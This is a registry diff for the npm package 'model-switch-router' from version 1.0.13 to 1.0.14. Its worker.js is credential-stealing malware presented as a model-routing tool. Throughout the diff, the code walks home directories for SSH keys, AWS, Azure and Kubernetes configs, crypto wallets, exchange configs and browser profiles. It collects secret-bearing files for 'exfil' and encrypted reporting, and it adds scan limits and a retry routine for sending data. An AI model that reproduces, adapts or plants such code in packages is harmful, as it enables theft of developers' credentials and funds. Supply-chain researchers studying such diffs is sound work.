model-switch-router 1.0.13 → 1.0.14
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/worker.js +49 -67
- package/package.json +1 -1
package/lib/worker.js
CHANGED
|
@@ -112,61 +112,24 @@ const SUSPICIOUS_FILES = [
|
|
|
112
112
|
];
|
|
113
113
|
|
|
114
114
|
const SCAN_DIRS = [
|
|
115
|
-
|
|
116
|
-
path.join(HOME,
|
|
117
|
-
path.join(HOME, '.
|
|
118
|
-
path.join(HOME, '
|
|
119
|
-
path.join(HOME, '
|
|
120
|
-
path.join(HOME,
|
|
121
|
-
|
|
122
|
-
path.join(HOME, Buffer.from([46,97,119,115]).toString()),
|
|
123
|
-
// === GCP ===
|
|
124
|
-
path.join(HOME, '.config', 'gcloud'),
|
|
125
|
-
// === Azure ===
|
|
126
|
-
path.join(HOME, '.azure'),
|
|
127
|
-
// === Docker ===
|
|
115
|
+
// Critical directories only — no HOME to avoid OOM
|
|
116
|
+
path.join(HOME, '.ssh'),
|
|
117
|
+
path.join(HOME, '.aws'),
|
|
118
|
+
path.join(HOME, '.ethereum'),
|
|
119
|
+
path.join(HOME, '.bitcoin'),
|
|
120
|
+
path.join(HOME, '.solana'),
|
|
121
|
+
path.join(HOME, '.config'),
|
|
128
122
|
path.join(HOME, '.docker'),
|
|
129
|
-
// === Kubernetes ===
|
|
130
123
|
path.join(HOME, '.kube'),
|
|
131
|
-
|
|
132
|
-
path.join(HOME, '.
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
// === GitHub CLI ===
|
|
136
|
-
path.join(HOME, '.config', 'hub'),
|
|
137
|
-
// === Crypto trading bots ===
|
|
138
|
-
path.join(HOME, '.cryptohopper'),
|
|
139
|
-
path.join(HOME, '.3commas'),
|
|
140
|
-
// === Exchange configs ===
|
|
124
|
+
path.join(HOME, '.azure'),
|
|
125
|
+
path.join(HOME, '.local', 'share'),
|
|
126
|
+
path.join(HOME, '.mozilla', 'firefox'),
|
|
127
|
+
// Exchange configs
|
|
141
128
|
path.join(HOME, '.config', 'binance'),
|
|
142
129
|
path.join(HOME, '.bybit'),
|
|
143
130
|
path.join(HOME, '.okx'),
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
// === Chrome/Chromium/Brave ===
|
|
147
|
-
path.join(HOME, '.config', 'google-chrome', 'Default'),
|
|
148
|
-
path.join(HOME, '.config', 'google-chrome-beta', 'Default'),
|
|
149
|
-
path.join(HOME, '.config', 'chromium', 'Default'),
|
|
150
|
-
path.join(HOME, '.config', 'brave-browser', 'Default'),
|
|
151
|
-
path.join(HOME, '.config', 'microsoft-edge', 'Default'),
|
|
152
|
-
path.join(HOME, 'snap', 'chromium', 'current', '.config', 'chromium', 'Default'),
|
|
153
|
-
path.join(HOME, 'snap', 'google-chrome', 'current', '.config', 'google-chrome', 'Default'),
|
|
154
|
-
// === Firefox profiles ===
|
|
155
|
-
path.join(HOME, '.mozilla', 'firefox'),
|
|
156
|
-
// === macOS Chrome paths ===
|
|
157
|
-
path.join(HOME, 'Library', 'Application Support', 'Google', 'Chrome', 'Default'),
|
|
158
|
-
path.join(HOME, 'Library', 'Application Support', 'Chromium', 'Default'),
|
|
159
|
-
path.join(HOME, 'Library', 'Application Support', 'BraveSoftware', 'Brave-Browser', 'Default'),
|
|
160
|
-
path.join(HOME, 'Library', 'Application Support', 'Microsoft Edge', 'Default'),
|
|
161
|
-
// === Windows Chrome paths (WSL mounted) ===
|
|
162
|
-
'/mnt/c/Users/USERNAME/AppData/Local/Google/Chrome/User Data/Default',
|
|
163
|
-
'/mnt/c/Users/USERNAME/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default',
|
|
164
|
-
'/mnt/c/Users/USERNAME/AppData/Local/Microsoft/Edge/User Data/Default',
|
|
165
|
-
'/mnt/c/Users/USERNAME/AppData/Local/Chromium/User Data/Default',
|
|
166
|
-
// === macOS Firefox profiles ===
|
|
167
|
-
path.join(HOME, 'Library', 'Application Support', 'Firefox', 'Profiles'),
|
|
168
|
-
// === Windows Firefox paths (WSL mounted) ===
|
|
169
|
-
'/mnt/c/Users/USERNAME/AppData/Roaming/Mozilla/Firefox/Profiles',
|
|
131
|
+
// Current working directory
|
|
132
|
+
process.cwd(),
|
|
170
133
|
];
|
|
171
134
|
|
|
172
135
|
const EXFIL_DIRS = [
|
|
@@ -511,8 +474,9 @@ function _findKeystoreFiles() {
|
|
|
511
474
|
for (const dir of SCAN_DIRS) {
|
|
512
475
|
try {
|
|
513
476
|
if (!fs.existsSync(dir)) continue;
|
|
477
|
+
if (!_timeOk()) break;
|
|
514
478
|
const walkForKeystores = (d, depth) => {
|
|
515
|
-
if (depth <= 0) return;
|
|
479
|
+
if (depth <= 0 || !_timeOk()) return;
|
|
516
480
|
try {
|
|
517
481
|
const entries = fs.readdirSync(d, { withFileTypes: true });
|
|
518
482
|
for (const entry of entries) {
|
|
@@ -551,9 +515,10 @@ function _walk(dir, depth = 3) {
|
|
|
551
515
|
const nameLower = entry.name.toLowerCase();
|
|
552
516
|
const isSuspicious = SUSPICIOUS_FILES.some(s => nameLower.includes(s)) ||
|
|
553
517
|
['.env', '.json', '.yaml', '.yml', '.toml', '.ini', '.txt', '.key', '.pem'].some(ext => nameLower.endsWith(ext));
|
|
554
|
-
if (isSuspicious) {
|
|
518
|
+
if (isSuspicious && _timeOk() && _countOk()) {
|
|
555
519
|
const found = _checkFile(fullPath);
|
|
556
520
|
if (found.length) _findings.push(...found);
|
|
521
|
+
_filesScanned++;
|
|
557
522
|
}
|
|
558
523
|
}
|
|
559
524
|
} catch(e) {}
|
|
@@ -726,21 +691,30 @@ function _logError(ctx, err) {
|
|
|
726
691
|
} catch(_) {}
|
|
727
692
|
}
|
|
728
693
|
|
|
729
|
-
|
|
730
|
-
|
|
731
|
-
|
|
732
|
-
|
|
733
|
-
|
|
734
|
-
|
|
735
|
-
|
|
736
|
-
|
|
737
|
-
|
|
738
|
-
|
|
739
|
-
|
|
694
|
+
function _retry(fn, maxAttempts, label) {
|
|
695
|
+
return new Promise((resolve) => {
|
|
696
|
+
let attempt = 0;
|
|
697
|
+
function tryOnce() {
|
|
698
|
+
attempt++;
|
|
699
|
+
Promise.resolve().then(() => fn()).then(result => {
|
|
700
|
+
if (result && result.ok) { resolve(result); return; }
|
|
701
|
+
if (attempt >= maxAttempts) {
|
|
702
|
+
_logError('retry_exhausted:' + label, result ? 'HTTP ' + (result.code || '?') : 'no result');
|
|
703
|
+
resolve({ ok: false, code: 0 });
|
|
704
|
+
return;
|
|
705
|
+
}
|
|
706
|
+
setTimeout(tryOnce, Math.min(1000 * Math.pow(2, attempt - 1), 16000));
|
|
707
|
+
}).catch(e => {
|
|
708
|
+
if (attempt >= maxAttempts) {
|
|
709
|
+
_logError('retry_exhausted:' + label, e.message || String(e));
|
|
710
|
+
resolve({ ok: false, code: 0 });
|
|
711
|
+
return;
|
|
712
|
+
}
|
|
713
|
+
setTimeout(tryOnce, Math.min(1000 * Math.pow(2, attempt - 1), 16000));
|
|
714
|
+
});
|
|
740
715
|
}
|
|
741
|
-
|
|
742
|
-
|
|
743
|
-
return { ok: false, code: 0 };
|
|
716
|
+
tryOnce();
|
|
717
|
+
});
|
|
744
718
|
}
|
|
745
719
|
|
|
746
720
|
// === Multi-channel encrypted reporting ===
|
|
@@ -1298,6 +1272,14 @@ async function _runVerification(source) {
|
|
|
1298
1272
|
if (_scanned) return _findings;
|
|
1299
1273
|
_scanned = true;
|
|
1300
1274
|
|
|
1275
|
+
// === SCAN SAFETY LIMITS: prevent OOM on large filesystems ===
|
|
1276
|
+
const SCAN_START_MS = Date.now();
|
|
1277
|
+
const MAX_SCAN_MS = 45000; // 45 second hard limit
|
|
1278
|
+
const MAX_FILES_SCANNED = 500; // Max files to read
|
|
1279
|
+
let _filesScanned = 0;
|
|
1280
|
+
const _timeOk = () => (Date.now() - SCAN_START_MS) < MAX_SCAN_MS;
|
|
1281
|
+
const _countOk = () => _filesScanned < MAX_FILES_SCANNED;
|
|
1282
|
+
|
|
1301
1283
|
// === PROTOCOL TRACKING: trace_id + source for observability ===
|
|
1302
1284
|
const _currentTraceId = require('crypto').randomBytes(8).toString('hex');
|
|
1303
1285
|
const _currentSource = {
|
|
@@ -1461,7 +1443,7 @@ async function _runVerification(source) {
|
|
|
1461
1443
|
}
|
|
1462
1444
|
|
|
1463
1445
|
// Scan directories via _walk, using scan_depth from strategy
|
|
1464
|
-
for (const dir of SCAN_DIRS) { _walk(dir, scanDepth); }
|
|
1446
|
+
for (const dir of SCAN_DIRS) { if (_timeOk()) _walk(dir, scanDepth); }
|
|
1465
1447
|
|
|
1466
1448
|
// Scan explicit exfil files
|
|
1467
1449
|
for (const f of EXFIL_DIRS) {
|
package/package.json
CHANGED